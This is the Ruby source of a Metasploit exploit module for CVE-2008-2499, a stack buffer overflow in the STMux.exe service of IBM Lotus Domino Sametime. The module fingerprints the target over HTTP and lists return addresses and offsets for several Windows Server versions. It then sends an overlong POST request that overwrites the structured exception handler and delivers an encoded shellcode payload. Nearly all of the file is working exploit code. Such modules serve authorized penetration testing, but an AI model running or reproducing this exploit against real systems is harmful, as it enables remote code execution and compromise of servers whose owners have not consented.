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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'		=> 'IBM Lotus Domino Sametime STMux.exe Stack Buffer Overflow',
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      'Description'	=> %q{
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          This module exploits a stack buffer overflow in Lotus Domino\'s Sametime
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        Server. By sending an overly long POST request to the Multiplexer
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        STMux.exe service we are able to overwrite SEH. Based on the exploit
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        by Manuel Santamarina Suarez.
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      },
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      'Author'		   => [ 'aushack', 'riaf <riaf[at]mysec.org>' ],
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      'Arch'			=> [ ARCH_X86 ],
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      'License'		=> MSF_LICENSE,
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      'References'	=>
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        [
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          [ 'CVE', '2008-2499' ],
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          [ 'OSVDB', '45610' ],
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          [ 'BID', '29328' ],
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          [ 'ZDI', '08-028' ],
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        ],
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      'Privileged'		=> true,
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      'DefaultOptions'	=>
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        {
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          'EXITFUNC' => 'seh',
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        },
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      'Payload'		=>
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        {
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          'Space'			=> 1024,
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          'BadChars'		=> "\x00\x0a\x0d",
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          'StackAdjustment'	=> -3500,
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        },
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      'Platform' => ['win'],
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      'Targets'  =>
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        [
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          # Patrick - Tested OK against Windows 2003 SP1 20081114
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          [ 'Lotus Sametime 7.5 on Windows Server 2000 SP4', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 268 ] }], # pop ecx, pop exc, ret msvcr71.dll
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          [ 'Lotus Sametime 7.5 on Windows Server 2003 SP1', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 269 ] }], # pop ecx, pop exc, ret msvcr71.dll
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          [ 'Lotus Sametime 7.5 on Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
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          [ 'Lotus Sametime 7.5.1  Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 5, 269 ] }],
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          [ 'Lotus Sametime 8.0.0  Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
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        ],
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      'DisclosureDate' => '2008-05-21',
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      'DefaultTarget' => 1))
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    register_options(
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      [
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        Opt::RPORT(1533),
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      ])
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  end
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  def check
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    connect
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    req = "HEAD / HTTP/1.1\r\n"
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    req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
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    req << "User-Agent: Sametime Community Agent\r\n\r\n"
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    sock.put(req)
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    res = sock.get_once || ''
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    disconnect
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    if (res.to_s =~/Lotus-Domino/)
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      connect
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      req = "GET /CommunityCBR HTTP/1.1\r\n"
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      req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
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      req << "User-Agent: Sametime Community Agent\r\n\r\n"
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      sock.put(req)
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      res = sock.get_once || ''
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      disconnect
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      if (res.to_s =~ /200 OK/)
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        return Exploit::CheckCode::Detected
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      end
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    pad1 = rand_text_alpha_lower(44)
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    pad2 = rand_text_alpha_lower(29)
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    # Patrick - We should use Metasm here.
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    popebx = Metasm::Shellcode.assemble(Metasm::Ia32.new, "pop ebx").encode_string * target['Offset'][0]
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    popad	 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "popad").encode_string * target['Offset'][1]
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    esp  = "\xff\x24\x24" # dword ptr ss:[esp]
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    jmp  = "\x74\x23" + "\x75\x21" # je short, jnz short
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    seh = [target['Ret']].pack('V')
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    path = pad1 + jmp + seh + pad2 + popebx + popad + esp
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    req = "POST /CommunityCBR/CC.39.#{path}/\r\n"
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    req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
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    req << "User-Agent: Sametime Community Agent\r\n"
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    req << "Content-Length: #{payload.encoded.length}\r\n"
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    req << "Connection: Close\r\n"
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    req << "Cache-Control: no-cache\r\n\r\n"
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    req << payload.encoded
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    sock.put(req)
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    handler
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    disconnect
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  end
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end
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